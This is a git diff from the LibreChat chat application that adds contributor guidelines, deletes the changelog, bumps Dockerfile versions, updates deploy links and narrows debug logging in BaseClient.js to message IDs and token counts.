+### JS/TS Loop Preferences
+
+- **Limit looping as much as possible.** Prefer single-pass transformations and avoid re-iterating the same data.
+- `for (let i = 0; ...)` for performance-critical or index-dependent operations.
+- `for...of` for simple array iteration.
+- `for...in` only for object property enumeration.
+
+---
+
+## Frontend Rules (`client/src/**/*`)
+
+### Localization
+
+- All user-facing text must use `useLocalize()`.
+- Only update English keys in `client/src/locales/en/translation.json` (other languages are automated externally).
+- Semantic key prefixes: `com_ui_`, `com_assistants_`, etc.
+
+### Components
+
+- TypeScript for all React components with proper type imports.
+- Semantic HTML with ARIA labels (`role`, `aria-label`) for accessibility.
+- Group related components in feature directories (e.g., `SidePanel/Memories/`).
+- Use index files for clean exports.
+
+### Data Management
+
+- Feature hooks: `client/src/data-provider/[Feature]/queries.ts` → `[Feature]/index.ts` → `client/src/data-provider/index.ts`.
+- React Query (`@tanstack/react-query`) for all API interactions; proper query invalidation on mutations.
+- QueryKeys and MutationKeys in `packages/data-provider/src/keys.ts`.
+
+### Data-Provider Integration
+
+- Endpoints: `packages/data-provider/src/api-endpoints.ts`
+- Data service: `packages/data-provider/src/data-service.ts`
+- Types: `packages/data-provider/src/types/queries.ts`
+- Use `encodeURIComponent` for dynamic URL parameters.
+
+### Performance
+
+- Prioritize memory and speed efficiency at scale.
+- Cursor pagination for large datasets.
+- Proper dependency arrays to avoid unnecessary re-renders.
+- Leverage React Query caching and background refetching.
+
+---
+
+## Development Commands
+
+| Command | Purpose |
+|---|---|
+| `npm run smart-reinstall` | Install deps (if lockfile changed) + build via Turborepo |
+| `npm run reinstall` | Clean install — wipe `node_modules` and reinstall from scratch |
+| `npm run backend` | Start the backend server |
+| `npm run backend:dev` | Start backend with file watching (development) |
+| `npm run build` | Build all compiled code via Turborepo (parallel, cached) |
+| `npm run frontend` | Build all compiled code sequentially (legacy fallback) |
+| `npm run frontend:dev` | Start frontend dev server with HMR (port 3090, requires backend running) |
+| `npm run build:data-provider` | Rebuild `packages/data-provider` after changes |
+
+- Node.js: v20.19.0+ or ^22.12.0 or >= 23.0.0
+- Database: MongoDB
+- Backend runs on `http://localhost:3080/`; frontend dev server on `http://localhost:3090/`
+
+---
+
+## Testing
+
+- Framework: **Jest**, run per-workspace.
+- Run tests from their workspace directory: `cd api && npx jest <pattern>`, `cd packages/api && npx jest <pattern>`, etc.
+- Frontend tests: `__tests__` directories alongside components; use `test/layout-test-utils` for rendering.
+- Cover loading, success, and error states for UI/data flows.
+
+### Philosophy
+
+- **Real logic over mocks.** Exercise actual code paths with real dependencies. Mocking is a last resort.
+- **Spies over mocks.** Assert that real functions are called with expected arguments and frequency without replacing underlying logic.
+- **MongoDB**: use `mongodb-memory-server` for a real in-memory MongoDB instance. Test actual queries and schema validation, not mocked DB calls.
+- **MCP**: use real `@modelcontextprotocol/sdk` exports for servers, transports, and tool definitions. Mirror real scenarios, don't stub SDK internals.
+- Only mock what you cannot control: external HTTP APIs, rate-limited services, non-deterministic system calls.
+- Heavy mocking is a code smell, not a testing strategy.
+
+---
+
+## Formatting
+
+Fix all formatting lint errors (trailing spaces, tabs, newlines, indentation) using auto-fix when available. All TypeScript/ESLint warnings and errors **must** be resolved.
diff --git a/CHANGELOG.md b/CHANGELOG.md
deleted file mode 100644
index a8cb8282bd..0000000000
--- a/CHANGELOG.md
+++ /dev/null
@@ -1,236 +0,0 @@
-# Changelog
-
-All notable changes to this project will be documented in this file.
-
-
-
-
-
-
-## [Unreleased]
-
-### ✨ New Features
-
-- ✨ feat: implement search parameter updates by **@mawburn** in [#7151](https://github.com/danny-avila/LibreChat/pull/7151)
-- 🎏 feat: Add MCP support for Streamable HTTP Transport by **@benverhees** in [#7353](https://github.com/danny-avila/LibreChat/pull/7353)
-- 🔒 feat: Add Content Security Policy using Helmet middleware by **@rubentalstra** in [#7377](https://github.com/danny-avila/LibreChat/pull/7377)
-- ✨ feat: Add Normalization for MCP Server Names by **@danny-avila** in [#7421](https://github.com/danny-avila/LibreChat/pull/7421)
-- 📊 feat: Improve Helm Chart by **@hofq** in [#3638](https://github.com/danny-avila/LibreChat/pull/3638)
-- 🦾 feat: Claude-4 Support by **@danny-avila** in [#7509](https://github.com/danny-avila/LibreChat/pull/7509)
-- 🪨 feat: Bedrock Support for Claude-4 Reasoning by **@danny-avila** in [#7517](https://github.com/danny-avila/LibreChat/pull/7517)
-
-### 🌍 Internationalization
-
-- 🌍 i18n: Add `Danish` and `Czech` and `Catalan` localization support by **@rubentalstra** in [#7373](https://github.com/danny-avila/LibreChat/pull/7373)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7375](https://github.com/danny-avila/LibreChat/pull/7375)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7468](https://github.com/danny-avila/LibreChat/pull/7468)
-
-### 🔧 Fixes
-
-- 💬 fix: update aria-label for accessibility in ConvoLink component by **@berry-13** in [#7320](https://github.com/danny-avila/LibreChat/pull/7320)
-- 🔑 fix: use `apiKey` instead of `openAIApiKey` in OpenAI-like Config by **@danny-avila** in [#7337](https://github.com/danny-avila/LibreChat/pull/7337)
-- 🔄 fix: update navigation logic in `useFocusChatEffect` to ensure correct search parameters are used by **@mawburn** in [#7340](https://github.com/danny-avila/LibreChat/pull/7340)
-- 🔄 fix: Improve MCP Connection Cleanup by **@danny-avila** in [#7400](https://github.com/danny-avila/LibreChat/pull/7400)
-- 🛡️ fix: Preset and Validation Logic for URL Query Params by **@danny-avila** in [#7407](https://github.com/danny-avila/LibreChat/pull/7407)
-- 🌘 fix: artifact of preview text is illegible in dark mode by **@nhtruong** in [#7405](https://github.com/danny-avila/LibreChat/pull/7405)
-- 🛡️ fix: Temporarily Remove CSP until Configurable by **@danny-avila** in [#7419](https://github.com/danny-avila/LibreChat/pull/7419)
-- 💽 fix: Exclude index page `/` from static cache settings by **@sbruel** in [#7382](https://github.com/danny-avila/LibreChat/pull/7382)
-
-### ⚙️ Other Changes
-
-- 📜 docs: CHANGELOG for release v0.7.8 by **@github-actions[bot]** in [#7290](https://github.com/danny-avila/LibreChat/pull/7290)
-- 📦 chore: Update API Package Dependencies by **@danny-avila** in [#7359](https://github.com/danny-avila/LibreChat/pull/7359)
-- 📜 docs: Unreleased Changelog by **@github-actions[bot]** in [#7321](https://github.com/danny-avila/LibreChat/pull/7321)
-- 📜 docs: Unreleased Changelog by **@github-actions[bot]** in [#7434](https://github.com/danny-avila/LibreChat/pull/7434)
-- 🛡️ chore: `multer` v2.0.0 for CVE-2025-47935 and CVE-2025-47944 by **@danny-avila** in [#7454](https://github.com/danny-avila/LibreChat/pull/7454)
-- 📂 refactor: Improve `FileAttachment` & File Form Deletion by **@danny-avila** in [#7471](https://github.com/danny-avila/LibreChat/pull/7471)
-- 📊 chore: Remove Old Helm Chart by **@hofq** in [#7512](https://github.com/danny-avila/LibreChat/pull/7512)
-- 🪖 chore: bump helm app version to v0.7.8 by **@austin-barrington** in [#7524](https://github.com/danny-avila/LibreChat/pull/7524)
-
-
-
----
-## [v0.7.8] - 
-
-Changes from v0.7.8-rc1 to v0.7.8.
-
-### ✨ New Features
-
-- ✨ feat: Enhance form submission for touch screens by **@berry-13** in [#7198](https://github.com/danny-avila/LibreChat/pull/7198)
-- 🔍 feat: Additional Tavily API Tool Parameters by **@glowforge-opensource** in [#7232](https://github.com/danny-avila/LibreChat/pull/7232)
-- 🐋 feat: Add python to Dockerfile for increased MCP compatibility by **@technicalpickles** in [#7270](https://github.com/danny-avila/LibreChat/pull/7270)
-
-### 🔧 Fixes
-
-- 🔧 fix: Google Gemma Support & OpenAI Reasoning Instructions by **@danny-avila** in [#7196](https://github.com/danny-avila/LibreChat/pull/7196)
-- 🛠️ fix: Conversation Navigation State by **@danny-avila** in [#7210](https://github.com/danny-avila/LibreChat/pull/7210)
-- 🔄 fix: o-Series Model Regex for System Messages by **@danny-avila** in [#7245](https://github.com/danny-avila/LibreChat/pull/7245)
-- 🔖 fix: Custom Headers for Initial MCP SSE Connection by **@danny-avila** in [#7246](https://github.com/danny-avila/LibreChat/pull/7246)
-- 🛡️ fix: Deep Clone `MCPOptions` for User MCP Connections by **@danny-avila** in [#7247](https://github.com/danny-avila/LibreChat/pull/7247)
-- 🔄 fix: URL Param Race Condition and File Draft Persistence by **@danny-avila** in [#7257](https://github.com/danny-avila/LibreChat/pull/7257)
-- 🔄 fix: Assistants Endpoint & Minor Issues by **@danny-avila** in [#7274](https://github.com/danny-avila/LibreChat/pull/7274)
-- 🔄 fix: Ollama Think Tag Edge Case with Tools by **@danny-avila** in [#7275](https://github.com/danny-avila/LibreChat/pull/7275)
-
-### ⚙️ Other Changes
-
-- 📜 docs: CHANGELOG for release v0.7.8-rc1 by **@github-actions[bot]** in [#7153](https://github.com/danny-avila/LibreChat/pull/7153)
-- 🔄 refactor: Artifact Visibility Management by **@danny-avila** in [#7181](https://github.com/danny-avila/LibreChat/pull/7181)
-- 📦 chore: Bump Package Security by **@danny-avila** in [#7183](https://github.com/danny-avila/LibreChat/pull/7183)
-- 🌿 refactor: Unmount Fork Popover on Hide for Better Performance by **@danny-avila** in [#7189](https://github.com/danny-avila/LibreChat/pull/7189)
-- 🧰 chore: ESLint configuration to enforce Prettier formatting rules by **@mawburn** in [#7186](https://github.com/danny-avila/LibreChat/pull/7186)
-- 🎨 style: Improve KaTeX Rendering for LaTeX Equations by **@andresgit** in [#7223](https://github.com/danny-avila/LibreChat/pull/7223)
-- 📝 docs: Update `.env.example` Google models by **@marlonka** in [#7254](https://github.com/danny-avila/LibreChat/pull/7254)
-- 💬 refactor: MCP Chat Visibility Option, Google Rates, Remove OpenAPI Plugins by **@danny-avila** in [#7286](https://github.com/danny-avila/LibreChat/pull/7286)
-- 📜 docs: Unreleased Changelog by **@github-actions[bot]** in [#7214](https://github.com/danny-avila/LibreChat/pull/7214)
-
-
-
-[See full release details][release-v0.7.8]
-
-[release-v0.7.8]: https://github.com/danny-avila/LibreChat/releases/tag/v0.7.8
-
----
-## [v0.7.8-rc1] - 
-
-Changes from v0.7.7 to v0.7.8-rc1.
-
-### ✨ New Features
-
-- 🔍 feat: Mistral OCR API / Upload Files as Text by **@danny-avila** in [#6274](https://github.com/danny-avila/LibreChat/pull/6274)
-- 🤖 feat: Support OpenAI Web Search models by **@danny-avila** in [#6313](https://github.com/danny-avila/LibreChat/pull/6313)
-- 🔗 feat: Agent Chain (Mixture-of-Agents) by **@danny-avila** in [#6374](https://github.com/danny-avila/LibreChat/pull/6374)
-- ⌛ feat: `initTimeout` for Slow Starting MCP Servers by **@perweij** in [#6383](https://github.com/danny-avila/LibreChat/pull/6383)
-- 🚀 feat: `S3` Integration for File handling and Image uploads by **@rubentalstra** in [#6142](https://github.com/danny-avila/LibreChat/pull/6142)
-- 🔒feat: Enable OpenID Auto-Redirect by **@leondape** in [#6066](https://github.com/danny-avila/LibreChat/pull/6066)
-- 🚀 feat: Integrate `Azure Blob Storage` for file handling and image uploads by **@rubentalstra** in [#6153](https://github.com/danny-avila/LibreChat/pull/6153)
-- 🚀 feat: Add support for custom `AWS` endpoint in `S3` by **@rubentalstra** in [#6431](https://github.com/danny-avila/LibreChat/pull/6431)
-- 🚀 feat: Add support for LDAP STARTTLS in LDAP authentication by **@rubentalstra** in [#6438](https://github.com/danny-avila/LibreChat/pull/6438)
-- 🚀 feat: Refactor schema exports and update package version to 0.0.4 by **@rubentalstra** in [#6455](https://github.com/danny-avila/LibreChat/pull/6455)
-- 🔼 feat: Add Auto Submit For URL Query Params by **@mjaverto** in [#6440](https://github.com/danny-avila/LibreChat/pull/6440)
-- 🛠 feat: Enhance Redis Integration, Rate Limiters & Log Headers by **@danny-avila** in [#6462](https://github.com/danny-avila/LibreChat/pull/6462)
-- 💵 feat: Add Automatic Balance Refill by **@rubentalstra** in [#6452](https://github.com/danny-avila/LibreChat/pull/6452)
-- 🗣️ feat: add support for gpt-4o-transcribe models by **@berry-13** in [#6483](https://github.com/danny-avila/LibreChat/pull/6483)
-- 🎨 feat: UI Refresh for Enhanced UX by **@berry-13** in [#6346](https://github.com/danny-avila/LibreChat/pull/6346)
-- 🌍 feat: Add support for Hungarian language localization by **@rubentalstra** in [#6508](https://github.com/danny-avila/LibreChat/pull/6508)
-- 🚀 feat: Add Gemini 2.5 Token/Context Values, Increase Max Possible Output to 64k by **@danny-avila** in [#6563](https://github.com/danny-avila/LibreChat/pull/6563)
-- 🚀 feat: Enhance MCP Connections For Multi-User Support by **@danny-avila** in [#6610](https://github.com/danny-avila/LibreChat/pull/6610)
-- 🚀 feat: Enhance S3 URL Expiry with Refresh; fix: S3 File Deletion by **@danny-avila** in [#6647](https://github.com/danny-avila/LibreChat/pull/6647)
-- 🚀 feat: enhance UI components and refactor settings by **@berry-13** in [#6625](https://github.com/danny-avila/LibreChat/pull/6625)
-- 💬 feat: move TemporaryChat to the Header by **@berry-13** in [#6646](https://github.com/danny-avila/LibreChat/pull/6646)
-- 🚀 feat: Use Model Specs + Specific Endpoints, Limit Providers for Agents by **@danny-avila** in [#6650](https://github.com/danny-avila/LibreChat/pull/6650)
-- 🪙 feat: Sync Balance Config on Login by **@danny-avila** in [#6671](https://github.com/danny-avila/LibreChat/pull/6671)
-- 🔦 feat: MCP Support for Non-Agent Endpoints by **@danny-avila** in [#6775](https://github.com/danny-avila/LibreChat/pull/6775)
-- 🗃️ feat: Code Interpreter File Persistence between Sessions by **@danny-avila** in [#6790](https://github.com/danny-avila/LibreChat/pull/6790)
-- 🖥️ feat: Code Interpreter API for Non-Agent Endpoints by **@danny-avila** in [#6803](https://github.com/danny-avila/LibreChat/pull/6803)
-- ⚡ feat: Self-hosted Artifacts Static Bundler URL by **@danny-avila** in [#6827](https://github.com/danny-avila/LibreChat/pull/6827)
-- 🐳 feat: Add Jemalloc and UV to Docker Builds by **@danny-avila** in [#6836](https://github.com/danny-avila/LibreChat/pull/6836)
-- 🤖 feat: GPT-4.1 by **@danny-avila** in [#6880](https://github.com/danny-avila/LibreChat/pull/6880)
-- 👋 feat: remove Edge TTS by **@berry-13** in [#6885](https://github.com/danny-avila/LibreChat/pull/6885)
-- feat: nav optimization  by **@berry-13** in [#5785](https://github.com/danny-avila/LibreChat/pull/5785)
-- 🗺️ feat: Add Parameter Location Mapping for OpenAPI actions by **@peeeteeer** in [#6858](https://github.com/danny-avila/LibreChat/pull/6858)
-- 🤖 feat: Support `o4-mini` and `o3` Models by **@danny-avila** in [#6928](https://github.com/danny-avila/LibreChat/pull/6928)
-- 🎨 feat: OpenAI Image Tools (GPT-Image-1) by **@danny-avila** in [#7079](https://github.com/danny-avila/LibreChat/pull/7079)
-- 🗓️ feat: Add Special Variables for Prompts & Agents, Prompt UI Improvements by **@danny-avila** in [#7123](https://github.com/danny-avila/LibreChat/pull/7123)
-
-### 🌍 Internationalization
-
-- 🌍 i18n: Add Thai Language Support and Update Translations by **@rubentalstra** in [#6219](https://github.com/danny-avila/LibreChat/pull/6219)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6220](https://github.com/danny-avila/LibreChat/pull/6220)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6240](https://github.com/danny-avila/LibreChat/pull/6240)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6241](https://github.com/danny-avila/LibreChat/pull/6241)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6277](https://github.com/danny-avila/LibreChat/pull/6277)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6414](https://github.com/danny-avila/LibreChat/pull/6414)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6505](https://github.com/danny-avila/LibreChat/pull/6505)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6530](https://github.com/danny-avila/LibreChat/pull/6530)
-- 🌍 i18n: Add Persian Localization Support by **@rubentalstra** in [#6669](https://github.com/danny-avila/LibreChat/pull/6669)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6667](https://github.com/danny-avila/LibreChat/pull/6667)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7126](https://github.com/danny-avila/LibreChat/pull/7126)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7148](https://github.com/danny-avila/LibreChat/pull/7148)
-
-### 👐 Accessibility
-
-- 🎨 a11y: Update Model Spec Description Text by **@berry-13** in [#6294](https://github.com/danny-avila/LibreChat/pull/6294)
-- 🗑️ a11y: Add Accessible Name to Button for File Attachment Removal by **@kangabell** in [#6709](https://github.com/danny-avila/LibreChat/pull/6709)
-- ⌨️ a11y: enhance accessibility & visual consistency by **@berry-13** in [#6866](https://github.com/danny-avila/LibreChat/pull/6866)
-- 🙌 a11y: Searchbar/Conversations List Focus by **@danny-avila** in [#7096](https://github.com/danny-avila/LibreChat/pull/7096)
-- 👐 a11y: Improve Fork and SplitText Accessibility by **@danny-avila** in [#7147](https://github.com/danny-avila/LibreChat/pull/7147)
-
-### 🔧 Fixes
-
-- 🐛 fix: Avatar Type Definitions in Agent/Assistant Schemas by **@danny-avila** in [#6235](https://github.com/danny-avila/LibreChat/pull/6235)
-- 🔧 fix: MeiliSearch Field Error and Patch Incorrect Import by #6210 by **@rubentalstra** in [#6245](https://github.com/danny-avila/LibreChat/pull/6245)
-- 🔏 fix: Enhance Two-Factor Authentication by **@rubentalstra** in [#6247](https://github.com/danny-avila/LibreChat/pull/6247)
-- 🐛 fix: Await saveMessage in abortMiddleware to ensure proper execution by **@sh4shii** in [#6248](https://github.com/danny-avila/LibreChat/pull/6248)
-- 🔧 fix: Axios Proxy Usage And Bump `mongoose` by **@danny-avila** in [#6298](https://github.com/danny-avila/LibreChat/pull/6298)
-- 🔧 fix: comment out MCP servers to resolve service run issues by **@KunalScriptz** in [#6316](https://github.com/danny-avila/LibreChat/pull/6316)
-- 🔧 fix: Update Token Calculations and Mapping, MCP `env` Initialization by **@danny-avila** in [#6406](https://github.com/danny-avila/LibreChat/pull/6406)
-- 🐞 fix: Agent "Resend" Message Attachments + Source Icon Styling by **@danny-avila** in [#6408](https://github.com/danny-avila/LibreChat/pull/6408)
-- 🐛 fix: Prevent Crash on Duplicate Message ID by **@Odrec** in [#6392](https://github.com/danny-avila/LibreChat/pull/6392)
-- 🔐 fix: Invalid Key Length in 2FA Encryption by **@rubentalstra** in [#6432](https://github.com/danny-avila/LibreChat/pull/6432)
-- 🏗️ fix: Fix Agents Token Spend Race Conditions, Expand Test Coverage by **@danny-avila** in [#6480](https://github.com/danny-avila/LibreChat/pull/6480)
-- 🔃 fix: Draft Clearing, Claude Titles, Remove Default Vision Max Tokens by **@danny-avila** in [#6501](https://github.com/danny-avila/LibreChat/pull/6501)
-- 🔧 fix: Update username reference to use user.name in greeting display by **@rubentalstra** in [#6534](https://github.com/danny-avila/LibreChat/pull/6534)
-- 🔧 fix: S3 Download Stream with Key Extraction and Blob Storage Encoding for Vision by **@danny-avila** in [#6557](https://github.com/danny-avila/LibreChat/pull/6557)
-- 🔧 fix: Mistral type strictness for `usage` & update token values/windows by **@danny-avila** in [#6562](https://github.com/danny-avila/LibreChat/pull/6562)
-- 🔧 fix: Consolidate Text Parsing and TTS Edge Initialization by **@danny-avila** in [#6582](https://github.com/danny-avila/LibreChat/pull/6582)
-- 🔧 fix: Ensure continuation in image processing on base64 encoding from Blob Storage by **@danny-avila** in [#6619](https://github.com/danny-avila/LibreChat/pull/6619)
-- ✉️ fix: Fallback For User Name In Email Templates by **@danny-avila** in [#6620](https://github.com/danny-avila/LibreChat/pull/6620)
-- 🔧 fix: Azure Blob Integration and File Source References by **@rubentalstra** in [#6575](https://github.com/danny-avila/LibreChat/pull/6575)
-- 🐛 fix: Safeguard against undefined addedEndpoints by **@wipash** in [#6654](https://github.com/danny-avila/LibreChat/pull/6654)
-- 🤖 fix: Gemini 2.5 Vision Support by **@danny-avila** in [#6663](https://github.com/danny-avila/LibreChat/pull/6663)
-- 🔄 fix: Avatar & Error Handling Enhancements by **@danny-avila** in [#6687](https://github.com/danny-avila/LibreChat/pull/6687)
-- 🔧 fix: Chat Middleware, Zod Conversion, Auto-Save and S3 URL Refresh by **@danny-avila** in [#6720](https://github.com/danny-avila/LibreChat/pull/6720)
-- 🔧 fix: Agent Capability Checks & DocumentDB Compatibility for Agent Resource Removal by **@danny-avila** in [#6726](https://github.com/danny-avila/LibreChat/pull/6726)
-- 🔄 fix: Improve audio MIME type detection and handling by **@berry-13** in [#6707](https://github.com/danny-avila/LibreChat/pull/6707)
-- 🪺 fix: Update Role Handling due to New Schema Shape by **@danny-avila** in [#6774](https://github.com/danny-avila/LibreChat/pull/6774)
-- 🗨️ fix: Show ModelSpec Greeting by **@berry-13** in [#6770](https://github.com/danny-avila/LibreChat/pull/6770)
-- 🔧 fix: Keyv and Proxy Issues, and More Memory Optimizations by **@danny-avila** in [#6867](https://github.com/danny-avila/LibreChat/pull/6867)
-- ✨ fix: Implement dynamic text sizing for greeting and name display by **@berry-13** in [#6833](https://github.com/danny-avila/LibreChat/pull/6833)
-- 📝 fix: Mistral OCR Image Support and Azure Agent Titles by **@danny-avila** in [#6901](https://github.com/danny-avila/LibreChat/pull/6901)
-- 📢 fix: Invalid `engineTTS` and Conversation State on Navigation by **@berry-13** in [#6904](https://github.com/danny-avila/LibreChat/pull/6904)
-- 🛠️ fix: Improve Accessibility and Display of Conversation Menu by **@danny-avila** in [#6913](https://github.com/danny-avila/LibreChat/pull/6913)
-- 🔧 fix: Agent Resource Form, Convo Menu Style, Ensure Draft Clears on Submission by **@danny-avila** in [#6925](https://github.com/danny-avila/LibreChat/pull/6925)
-- 🔀 fix: MCP Improvements, Auto-Save Drafts, Artifact Markup by **@danny-avila** in [#7040](https://github.com/danny-avila/LibreChat/pull/7040)
-- 🐋 fix: Improve Deepseek Compatbility by **@danny-avila** in [#7132](https://github.com/danny-avila/LibreChat/pull/7132)
-- 🐙 fix: Add Redis Ping Interval to Prevent Connection Drops by **@peeeteeer** in [#7127](https://github.com/danny-avila/LibreChat/pull/7127)
-
-### ⚙️ Other Changes
-
-- 📦 refactor: Move DB Models to `@librechat/data-schemas` by **@rubentalstra** in [#6210](https://github.com/danny-avila/LibreChat/pull/6210)
-- 📦 chore: Patch `axios` to address CVE-2025-27152 by **@danny-avila** in [#6222](https://github.com/danny-avila/LibreChat/pull/6222)
-- ⚠️ refactor: Use Error Content Part Instead Of Throwing Error for Agents by **@danny-avila** in [#6262](https://github.com/danny-avila/LibreChat/pull/6262)
-- 🏃‍♂️ refactor: Improve Agent Run Context & Misc. Changes by **@danny-avila** in [#6448](https://github.com/danny-avila/LibreChat/pull/6448)
-- 📝 docs: librechat.example.yaml by **@ineiti** in [#6442](https://github.com/danny-avila/LibreChat/pull/6442)
-- 🏃‍♂️ refactor: More Agent Context Improvements during Run by **@danny-avila** in [#6477](https://github.com/danny-avila/LibreChat/pull/6477)
-- 🔃 refactor: Allow streaming for `o1` models by **@danny-avila** in [#6509](https://github.com/danny-avila/LibreChat/pull/6509)
-- 🔧 chore: `Vite` Plugin Upgrades & Config Optimizations by **@rubentalstra** in [#6547](https://github.com/danny-avila/LibreChat/pull/6547)
-- 🔧 refactor: Consolidate Logging, Model Selection & Actions Optimizations, Minor Fixes by **@danny-avila** in [#6553](https://github.com/danny-avila/LibreChat/pull/6553)
-- 🎨 style: Address Minor UI Refresh Issues by **@berry-13** in [#6552](https://github.com/danny-avila/LibreChat/pull/6552)
-- 🔧 refactor: Enhance Model & Endpoint Configurations with Global Indicators 🌍 by **@berry-13** in [#6578](https://github.com/danny-avila/LibreChat/pull/6578)
-- 💬 style: Chat UI, Greeting, and Message adjustments by **@berry-13** in [#6612](https://github.com/danny-avila/LibreChat/pull/6612)
-- ⚡ refactor: DocumentDB Compatibility for Balance Updates by **@danny-avila** in [#6673](https://github.com/danny-avila/LibreChat/pull/6673)
-- 🧹 chore: Update ESLint rules for React hooks by **@rubentalstra** in [#6685](https://github.com/danny-avila/LibreChat/pull/6685)
-- 🪙 chore: Update Gemini Pricing by **@RedwindA** in [#6731](https://github.com/danny-avila/LibreChat/pull/6731)
-- 🪺 refactor: Nest Permission fields for Roles by **@rubentalstra** in [#6487](https://github.com/danny-avila/LibreChat/pull/6487)
-- 📦 chore: Update `caniuse-lite` dependency to version 1.0.30001706 by **@rubentalstra** in [#6482](https://github.com/danny-avila/LibreChat/pull/6482)
-- ⚙️ refactor: OAuth Flow Signal, Type Safety, Tool Progress & Updated Packages by **@danny-avila** in [#6752](https://github.com/danny-avila/LibreChat/pull/6752)
-- 📦 chore: bump vite from 6.2.3 to 6.2.5 by **@dependabot[bot]** in [#6745](https://github.com/danny-avila/LibreChat/pull/6745)
-- 💾 chore: Enhance Local Storage Handling and Update MCP SDK by **@danny-avila** in [#6809](https://github.com/danny-avila/LibreChat/pull/6809)
-- 🤖 refactor: Improve Agents Memory Usage, Bump Keyv, Grok 3 by **@danny-avila** in [#6850](https://github.com/danny-avila/LibreChat/pull/6850)
-- 💾 refactor: Enhance Memory In Image Encodings & Client Disposal by **@danny-avila** in [#6852](https://github.com/danny-avila/LibreChat/pull/6852)
-- 🔁 refactor: Token Event Handler and Standardize `maxTokens` Key by **@danny-avila** in [#6886](https://github.com/danny-avila/LibreChat/pull/6886)
-- 🔍 refactor: Search & Message Retrieval by **@berry-13** in [#6903](https://github.com/danny-avila/LibreChat/pull/6903)
-- 🎨 style: standardize dropdown styling & fix z-Index layering by **@berry-13** in [#6939](https://github.com/danny-avila/LibreChat/pull/6939)
-- 📙 docs: CONTRIBUTING.md by **@dblock** in [#6831](https://github.com/danny-avila/LibreChat/pull/6831)
-- 🧭 refactor: Modernize Nav/Header by **@danny-avila** in [#7094](https://github.com/danny-avila/LibreChat/pull/7094)
-- 🪶 refactor: Chat Input Focus for Conversation Navigations & ChatForm Optimizations by **@danny-avila** in [#7100](https://github.com/danny-avila/LibreChat/pull/7100)
-- 🔃 refactor: Streamline Navigation, Message Loading UX by **@danny-avila** in [#7118](https://github.com/danny-avila/LibreChat/pull/7118)
-- 📜 docs: Unreleased changelog by **@github-actions[bot]** in [#6265](https://github.com/danny-avila/LibreChat/pull/6265)
-
-
-
-[See full release details][release-v0.7.8-rc1]
-
-[release-v0.7.8-rc1]: https://github.com/danny-avila/LibreChat/releases/tag/v0.7.8-rc1
-
----
diff --git a/CLAUDE.md b/CLAUDE.md
new file mode 120000
index 0000000000..47dc3e3d86
--- /dev/null
+++ b/CLAUDE.md
@@ -0,0 +1 @@
+AGENTS.md
\ No newline at end of file
diff --git a/Dockerfile b/Dockerfile
index d45844c4a6..bbff8133da 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,4 +1,4 @@
-# v0.8.3-rc1
+# v0.8.3
 
 # Base node image
 FROM node:20-alpine AS node
diff --git a/Dockerfile.multi b/Dockerfile.multi
index 5a610725d5..53810b5f0a 100644
--- a/Dockerfile.multi
+++ b/Dockerfile.multi
@@ -1,5 +1,5 @@
 # Dockerfile.multi
-# v0.8.3-rc1
+# v0.8.3
 
 # Set configurable max-old-space-size with default
 ARG NODE_MAX_OLD_SPACE_SIZE=6144
diff --git a/README.md b/README.md
index 6e04396637..e82b3ebc2c 100644
--- a/README.md
+++ b/README.md
@@ -27,8 +27,8 @@
 </p>
 
 <p align="center">
-<a href="https://railway.app/template/b5k2mn?referralCode=HI9hWz">
-  <img src="https://railway.app/button.svg" alt="Deploy on Railway" height="30">
+<a href="https://railway.com/deploy/b5k2mn?referralCode=HI9hWz">
+  <img src="https://railway.com/button.svg" alt="Deploy on Railway" height="30">
 </a>
 <a href="https://zeabur.com/templates/0X2ZY8">
   <img src="https://zeabur.com/button.svg" alt="Deploy on Zeabur" height="30"/>
diff --git a/api/app/clients/BaseClient.js b/api/app/clients/BaseClient.js
index a2dfaf9907..8f931f8a5e 100644
--- a/api/app/clients/BaseClient.js
+++ b/api/app/clients/BaseClient.js
@@ -4,6 +4,7 @@ const { logger } = require('@librechat/data-schemas');
 const {
   countTokens,
   getBalanceConfig,
+  buildMessageFiles,
   extractFileContext,
   encodeAndFormatAudios,
   encodeAndFormatVideos,
@@ -20,6 +21,7 @@ const {
   isAgentsEndpoint,
   isEphemeralAgentId,
   supportsBalanceCheck,
+  isBedrockDocumentType,
 } = require('librechat-data-provider');
 const {
   updateMessage,
@@ -122,7 +124,9 @@ class BaseClient {
    * @returns {number}
    */
   getTokenCountForResponse(responseMessage) {
-    logger.debug('[BaseClient] `recordTokenUsage` not implemented.', responseMessage);
+    logger.debug('[BaseClient] `recordTokenUsage` not implemented.', {
+      messageId: responseMessage?.messageId,
+    });
   }
 
   /**
@@ -133,12 +137,14 @@ class BaseClient {
    * @param {AppConfig['balance']} [balance]
    * @param {number} promptTokens
    * @param {number} completionTokens
+   * @param {string} [messageId]
    * @returns {Promise<void>}
    */
-  async recordTokenUsage({ model, balance, promptTokens, completionTokens }) {
+  async recordTokenUsage({ model, balance, promptTokens, completionTokens, messageId }) {
     logger.debug('[BaseClient] `recordTokenUsage` not implemented.', {
       model,
       balance,
+      messageId,
       promptTokens,
       completionTokens,
     });
@@ -659,16 +665,27 @@ class BaseClient {
     );
 
     if (tokenCountMap) {
-      logger.debug('[BaseClient] tokenCountMap', tokenCountMap);
       if (tokenCountMap[userMessage.messageId]) {
         userMessage.tokenCount = tokenCountMap[userMessage.messageId];
-        logger.debug('[BaseClient] userMessage', userMessage);
+        logger.debug('[BaseClient] userMessage', {
+          messageId: userMessage.messageId,
+          tokenCount: userMessage.tokenCount,
+          conversationId: userMessage.conversationId,
+        });
       }
 
       this.handleTokenCountMap(tokenCountMap);
     }
 
